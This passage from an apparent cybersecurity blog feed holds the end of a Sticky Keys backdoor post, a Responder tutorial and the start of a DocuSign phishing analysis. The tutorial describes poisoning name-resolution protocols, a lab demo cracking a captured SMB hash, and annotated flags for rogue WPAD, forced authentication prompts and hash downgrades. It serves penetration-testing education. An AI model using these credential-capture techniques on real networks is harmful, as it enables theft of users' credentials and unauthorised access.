https://substackcdn.com/image/fetch/$s_!PK7B!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 1272w, https://substackcdn.com/image/fetch/$s_!PK7B!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PK7B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png" width="1456" height="1022" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1022,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:912336,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181407120?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PK7B!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 424w, https://substackcdn.com/image/fetch/$s_!PK7B!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 848w, https://substackcdn.com/image/fetch/$s_!PK7B!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 1272w, https://substackcdn.com/image/fetch/$s_!PK7B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5c4e4f6f-112c-42d7-9c49-09092a1e7549_2558x1796.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This technique is particularly powerful because it provides system-level access even when the machine is locked and regardless of which user account is logged in. </p><p>The exploit persists across reboots and does not require network connectivity once deployed.</p><div><hr></div><h3>Persistent System-Level Access</h3><p>The exploit persists across reboots and does not require network connectivity once deployed. </p><p>The Sticky Keys backdoor will remain functional even after the machine restarts, providing a reliable method for regaining system-level access to the compromised system.</p>]]></content:encoded></item><item><title><![CDATA[Responder Hacking Tool: Capture and Crack Network Credentials]]></title><description><![CDATA[Responder is a penetration testing tool that captures the login credentials from machines on a network by exploiting name resolution protocols.]]></description><link>https://darkmarc.substack.com/p/responder-hacking-tool-capture-and</link><guid isPermaLink="false">https://darkmarc.substack.com/p/responder-hacking-tool-capture-and</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Wed, 10 Dec 2025 06:49:28 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!uRPS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Responder is a penetration testing tool that captures the login credentials from machines on a network by exploiting name resolution protocols. </strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uRPS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uRPS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 424w, https://substackcdn.com/image/fetch/$s_!uRPS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 848w, https://substackcdn.com/image/fetch/$s_!uRPS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!uRPS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uRPS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png" width="1456" height="1048" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1048,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:381576,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181189845?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uRPS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 424w, https://substackcdn.com/image/fetch/$s_!uRPS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 848w, https://substackcdn.com/image/fetch/$s_!uRPS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!uRPS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66c82b8b-e177-4dde-816a-6a89adea49f0_1456x1048.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Computers on a network are constantly chatting with each other, discovering printers, finding shared folders, locating servers, and more. </p><p>When a computer can&#8217;t find the location of a resource via DNS, it falls back to broadcast protocols like LLMNR, NBT-NS, or mDNS to ask other devices on the network &#8220;do you know where this is?&#8221;.</p><p>An attacker who is on the same network as their targets can use Responder to capture credentials by impersonating requested resources. </p><p>Responder listens for name resolution broadcasts and responds claiming to be the requested resource, tricking the victim into sending their credentials.</p><p>Those captured password hashes can then be cracked or relayed. </p><div><hr></div><h2>Responder Demo</h2><p>In the example below, I&#8217;ll show you how Responder can be used with a password cracking tool, John the Ripper, to capture and crack a password.</p><div><hr></div><div class="native-video-embed" data-component-name="VideoPlaceholder" data-attrs="{&quot;mediaUploadId&quot;:&quot;08184aab-b993-4456-9c9c-17b923ae0dfa&quot;,&quot;duration&quot;:null}"></div><p>In the video, we are using two virtual machines: a Parrot Linux machine as the attacker, and a Windows 11 machine as the victim.</p><p>First, we fire up Responder on the Parrot Linux machine. Responder is now listening on the network for traffic it can intercept.</p><p>Next, we go over to the Windows 11 machine and try to connect to a shared network resource (SMB share) at \\Files. Responder intercepts this request, presents a fake SMB server, and captures the login credentials.</p><p>We then use the Pluma text editor to paste the captured hash and save it as hash.txt. Finally, we use John the Ripper to crack the password. We use a simple password (<code>qwerty</code>) for demonstration, since it&#8217;s in John the Ripper&#8217;s default wordlist.</p><div><hr></div><h2>Responder Installation</h2><p>Responder comes pre-installed on penetration testing distributions like Kali Linux and Parrot Linux. You can also download it from the <a href="https://github.com/lgandx/Responder">official GitHub repository</a>.</p><div><hr></div><h2>How Responder Works</h2><p>Responder exploits weaknesses in how computers find resources on a network. Below we&#8217;ll cover which systems are most vulnerable, how name resolution works, and what protocols Responder can poison and capture.</p><div><hr></div><h3>Best Against Windows Targets</h3><p>Responder works best against Windows targets because LLMNR and NBT-NS are enabled by default, and Windows automatically sends credentials when connecting to network resources. </p><p>It can poison mDNS on macOS and Linux, but these systems don&#8217;t automatically send password hashes, so it relies on the user manually entering credentials into fake login prompts instead.</p><div><hr></div><h3>How Windows file sharing normally works:</h3><ol><li><p>You type <code>\\server\share</code> in Explorer to access a file share</p></li><li><p>Your computer needs to find the IP address of &#8220;server&#8221;</p></li><li><p>It tries these methods in order:</p><ul><li><p><strong>DNS</strong> - asks the domain controller &#8220;where is server?&#8221;</p></li><li><p><strong>LLMNR</strong> - broadcasts to the local network &#8220;hey everyone, who is server?&#8221;</p></li><li><p><strong>NBT-NS</strong> - older broadcast method, same idea</p></li><li><p><strong>mDNS</strong> - similar broadcast protocol (used more by Apple/Linux)</p></li></ul></li></ol><div><hr></div><h3>Protocols Responder can poison</h3><p>These are broadcast or discovery protocols that Responder can intercept and respond to with false information.</p><ul><li><p>LLMNR (Link-Local Multicast Name Resolution)</p></li><li><p>NBT-NS (NetBIOS Name Service)</p></li><li><p>mDNS (Multicast DNS)</p></li><li><p>DNS</p></li><li><p>DHCP</p></li><li><p>WPAD (Web Proxy Auto-Discovery)</p></li></ul><div><hr></div><h3>Protocols Responder Can Capture:</h3><p>Once a victim connects to Responder&#8217;s fake server, it can capture credentials from these services.</p><ul><li><p>HTTP/HTTPS</p></li><li><p>SMB</p></li><li><p>LDAP</p></li><li><p>FTP</p></li><li><p>POP3</p></li><li><p>IMAP</p></li><li><p>SMTP</p></li><li><p>SQL Server (MSSQL)</p></li><li><p>Kerberos</p></li><li><p>WebDAV</p></li></ul><div><hr></div><h3><strong>How Responder Captures Credentials</strong></h3><p>SMB is the most reliable source of credentials because Windows automatically sends them when connecting to file shares. If a user tries to access a non-existent share or Responder wins the race to respond, it captures the hash without any user interaction.</p><p>FTP, POP3, IMAP, SMTP, LDAP, and MSSQL are more situational. Responder runs fake servers on these ports, but relies on something actually trying to connect. </p><p>This could happen if a misconfigured application, old shortcut, or script references a non-existent server, or if Responder poisons a name that happens to be a mail or database server.</p><p>WPAD is particularly effective because browsers automatically look for proxy configuration. With the <code>-w</code> flag, Responder serves a malicious proxy config, and with <code>-F</code> it can force an authentication prompt.</p><div><hr></div><h3>Responder Syntax Guide:</h3><p>To view syntax and commands for Responder, type.</p><pre><code>responder --h</code></pre><p>This will show the help file.</p><pre><code><code>Usage:

responder -I eth0 -w -d
responder -I eth0 -wd

OPTIONS
Display the current version of the program.

--version

Display the help menu with all available options.

-h, --help

Run in passive mode to observe NBT-NS, BROWSER, and LLMNR requests on the network without sending any poisoned responses. This is useful for reconnaissance to see what systems are making requests before you start attacking.

-A, --analyze

Specify which network interface Responder should listen on. You can use ALL as a wildcard to listen on every available interface.

-I eth0, --interface=eth0

Set the local IP address for Responder to use. This option is only required on OSX systems.

-i 10.0.0.21, --ip=10.0.0.21

Redirect all poisoned responses to a different IPv6 address instead of the one assigned to Responder. Useful when you want victims to connect to another machine.

-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, 
--externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed

Redirect all poisoned responses to a different IPv4 address instead of the one assigned to Responder. Useful when you want victims to connect to another machine.

-e 10.0.0.22, --externalip=10.0.0.22

Use Basic HTTP authentication instead of NTLM when capturing credentials. NTLM is the default.

-b, --basic

Enable Responder to answer DHCP broadcast requests and inject a malicious WPAD server into the DHCP response. This is disabled by default.

-d, --DHCP

Inject a malicious DNS server into DHCP responses instead of a WPAD server. This is disabled by default.

-D, --DHCP-DNS

Start a rogue WPAD proxy server that allows you to intercept web traffic from victims who automatically discover proxy settings. This is disabled by default.

-w, --wpad

Specify an upstream HTTP proxy that the rogue WPAD proxy will use for outgoing requests. The format is host:port.

-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY

Force victims to authenticate with NTLM or Basic authentication when they request the wpad.dat file. This may cause a login prompt to appear on victim machines. This is disabled by default.

-F, --ForceWpadAuth

Force all proxy connections to require NTLM or Basic authentication. NTLM authentication happens transparently while Basic authentication displays a login prompt. This is highly effective and does not require WPAD to be enabled. This is disabled by default.

-P, --ProxyAuth

Suppress most output from the poisoning modules to reduce console noise. This is disabled by default.
-Q, --quiet

Force a downgrade to the weaker LM hashing algorithm. This targets legacy systems running Windows XP or Windows Server 2003 and earlier. This is disabled by default.

--lm

Force a downgrade by disabling Extended Session Security. This weakens the authentication and makes captured hashes easier to crack. This is disabled by default.

--disable-ess

Increase the amount of detail shown in the output for troubleshooting or monitoring.

-v, --verbose

Change the Time To Live value for poisoned responses. The value must be in hexadecimal where 1e equals 30 seconds. You can also use random to set a randomized TTL for each response.

-t 1e, --ttl=1e

Specify a custom canonical name to return in the Answer section of LLMNR poison responses. By default the answer uses the same name as the query. This is mainly useful when performing Kerberos relay attacks over HTTP.

-N ANSWERNAME, --AnswerName=ANSWERNAME

Change the SMB error code returned to victims from STATUS_ACCESS_DENIED to STATUS_LOGON_FAILURE. This allows you to capture WebDAV authentication requests from machines that are running the WebClient service.

-E, --ErrorCode</code></code></pre><div><hr></div><p>Happy Hacking!</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://darkmarc.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Dark Marc | Cybersecurity, Hacking &amp; Tech! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Private Equity Funds Targeted by Docusign Phishing Campaign (Technical Analysis)]]></title><description><![CDATA[One of my readers, a senior executive at a private equity fund in New York City, nearly fell for a DocuSign scam.]]></description><link>https://darkmarc.substack.com/p/private-equity-funds-targeted-by</link><guid isPermaLink="false">https://darkmarc.substack.com/p/private-equity-funds-targeted-by</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Mon, 08 Dec 2025 01:22:12 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/2d4f0b46-cd9f-4ee2-ae17-6a876720b4d3_1456x1048.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>One of my readers, a senior executive at a private equity fund in New York City, nearly fell for a DocuSign scam. </strong>The scam is part of a broader wave of business email compromise attacks that drain $2.77 billion per year from U.S. companies.</p><p>The email hits his inbox at 8:01 a.m. He is already deep in the morning chaos. A bank is pressing for updated debt yields before lunch, an investor is asking why returns might be lower this quarter, and a half-finished capital expenditures report is due by the end of the day.</p><p>Rapidly scrolling through his email on his phone in the back of an Uber, he opens the DocuSign message.</p><p><strong>The subject line reads:</strong></p><blockquote><p><strong>Action Required:</strong> Documents Pending Review (Signature Needed; Ref ID: 9981273433; Deposit Agreement Confirmation; 12/7/2025)</p></blockquote><p>Just as he moves to tap the link, something about the email feels off.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!J-kg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!J-kg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 424w, https://substackcdn.com/image/fetch/$s_!J-kg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 848w, https://substackcdn.com/image/fetch/$s_!J-kg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 1272w, https://substackcdn.com/image/fetch/$s_!J-kg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!J-kg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png" width="1456" height="615" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:615,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:191886,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180796549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!J-kg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 424w, https://substackcdn.com/image/fetch/$s_!J-kg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 848w, https://substackcdn.com/image/fetch/$s_!J-kg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 1272w, https://substackcdn.com/image/fetch/$s_!J-kg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe74a3d-3f36-4ed0-a52f-5d59bb03952e_2764x1168.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>He uses DocuSign every day for closings, NDAs, and investor documents, so after a quick glance, his brain immediately flags something as wrong:</p><ul><li><p>No official DocuSign logo in the header.</p></li><li><p>The classic yellow &#8216;Review Document&#8217; button is the wrong color, the wording is off, and the button itself is a thin outline.</p></li><li><p>Fonts are too light, and the margins and padding feel &#8220;off.&#8221;</p></li></ul><p>Even with the red flags, his tight schedule almost overrides his caution. The long reply chain below the button creates a false sense of urgency and legitimacy.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HZ9S!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HZ9S!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 424w, https://substackcdn.com/image/fetch/$s_!HZ9S!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 848w, https://substackcdn.com/image/fetch/$s_!HZ9S!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 1272w, https://substackcdn.com/image/fetch/$s_!HZ9S!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HZ9S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png" width="1270" height="1424" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1424,&quot;width&quot;:1270,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:157717,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180796549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HZ9S!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 424w, https://substackcdn.com/image/fetch/$s_!HZ9S!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 848w, https://substackcdn.com/image/fetch/$s_!HZ9S!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 1272w, https://substackcdn.com/image/fetch/$s_!HZ9S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6c5352d4-336c-4574-875e-7750841754e9_1270x1424.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset 